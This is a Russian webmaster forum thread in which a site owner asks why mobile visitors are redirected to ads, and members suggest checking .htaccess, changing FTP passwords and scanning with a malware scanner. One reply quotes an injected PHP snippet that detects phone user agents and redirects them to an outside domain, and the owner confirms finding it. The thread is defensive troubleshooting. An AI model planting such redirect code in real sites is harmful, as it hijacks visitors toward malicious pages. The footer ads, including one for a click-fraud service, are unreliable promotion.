Заражен сайт помогите

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:42

Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Позитивный человек

moretz-rf

Сообщений: 267 Регистрация: Апр 2013

14 Апреля 2013 23:50

Цитата

Позитивчег пишет:
Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

Изменено: moretz-rf - 14 Апреля 2013 23:51

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:53

Вы скажите по сути в чем проблема именно где может скрипт залит, но я ничего не нашел

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:06

Цитата
Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

При чем тут вообще хостинг?? Тем более за такую баснословную цену. Или лишь бы ляпнуть что нибудь?
Автору - поищите заразу в .htaccess. Даже если у главного домена на хостинге там зараза сидит, то и дополнительные домены все будут редиректить на мобильную хрень. Потом поменяйте пароли на фтп и на хостинге

Coder

Сообщений: 10439 Регистрация: Мар 2013

15 Апреля 2013 00:06

1. проверьте тщательно компы, с которых подсоединяетесь к сайту - фтп, антивирусными программами
2. Удалите из фтп клиентов все сохраненные пароли.
3. Поменяйте все фтп пароли.
4. проверьте все файлы, особенно вновь измененные и сравните с эталонными от СМС
5. Проверьте все js скрипты
6. скачайте скрипт Ай-Болит: revisium.com/ai/
7. примерно так. если шаблон шарезный или нуленая смс, то обратите внимание - вредоносное может быть зашито в них изначально.

Дополнительно по ай-болиту: revisium.com/kb/scan_site_windows.html

Изменено: Coder - 15 Апреля 2013 00:10

✓ Проверенные скрипты и полезности для сайта

✓ Курсы

✓ Сервис временных ссылок

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

обновлял полностью все файлы ничего не помогает в том числе и htaccess, при заходе с тела сразу редирект на вирусняк

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

хостинг moyhosting.com

Coder

Сообщений: 10439 Регистрация: Мар 2013

15 Апреля 2013 00:13

По ай-болиту посмотрите еще здесь: revisium.com/kb/virusonsite.html

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:16

Айболит чет мне не помог. Больше минуты не сканирует, а файлов много и не успевал за это время. Приходилось вручную искать

Coder

Сообщений: 10439 Регистрация: Мар 2013

#10

15 Апреля 2013 00:24

Цитата
mazesk пишет: Приходилось вручную искать

Все механизированные средства лишь дополнения к работе самого человека. Но при неприятности лучше воспользоваться всем, что имеется - больше вероятность качества.

fortnoxby

Сообщений: 390 Регистрация: Авг 2012

#11

15 Апреля 2013 00:27

Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

Coder

Сообщений: 10439 Регистрация: Мар 2013

#12

15 Апреля 2013 00:28

Цитата
mazesk пишет: поищите заразу в .htaccess

Редирект может быть и средствами php и js : htaccesstools.com/articles/redirection/

mazesk

Сообщений: 105 Регистрация: Янв 2013

#13

15 Апреля 2013 00:30

Да я ж не против

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

#14

15 Апреля 2013 00:33

Цитата

fortnoxby пишет:
Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

да действительно есть такое) интересно как оно туда попало?

Coder

Сообщений: 10439 Регистрация: Мар 2013

#15

15 Апреля 2013 00:33

Цитата
mazesk пишет: Да я ж не против

Я это к тому, что лучше бы везде искать, и сразу по всем возможным направлениям.

Похожие темы:

23.02.2020 20:28	Перевод сайта на англ.язык
28.07.2019 09:45	Перенос описания категории вниз сайта, под посты
26.06.2019 18:48	Сайт неправильно отдаёт 404
17.06.2019 09:37	Помощь по сайту
29.04.2019 19:19	Не работает код с сайта issuu

Читают тему (гостей: 2, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
12:26 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 20:32 Webvork - международная товарная СРА сеть с сертифицированными офферами на Европу. 17:26 Profit Pixels - In-House Форекс, Крипто, Трейдинг CPA Офферы \| Еженедельные Выплаты \| CPA до $950 16:44 Рассыпались ссылки из панели управления. 15:22 Adtrafico - Правильная партнёрская сеть под бурж трафик 21:30 Кому выплата РСЯ пришла и какого числа? 21:27 Есть ли альтернатива Адсенсу и РСЯ?	23:52 Swap-line.com – это сервис быстрого обмена криптовалют на различные цифровые активы, а также на наличные средства во многих городах Украины! 19:33 CoinCapital 13:05 ~Мобильные Proxy 4g/LTE с ротацией, настоящий безлимит, без ограничений скорости, RU~ 04:17 Просто $0.04/IP 9PROXY.COM Резидентные прокси Неограниченная пропускная способность Уникальная политика замены Без чёрного списка 20:55 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 16:48 Whatsapp рассылки и реселлерская программа 16:14 GoogleWalker - устранение конкурентов в Google Ads \| Автоматизированная система склика \| АНТИБАН	00:30 Китайский ИИ-ассистент DeepSeek начали запрещать в некоторых странах 00:29 Осталось 3-5 месяцев до блокировки YouTube в России, — заявил Клименко 22:39 С юмором по жизни! 01:24 Точные прогнозы на футбол 22:21 Telegram не смог провести различие между требованиями автократических режимов и законными демократическими запросами 22:19 Подтягиваем физкультурку 16:16 SENDERSEX.COM - Тизерная партнёрка онлайн игры Эротические Фанты Онлайн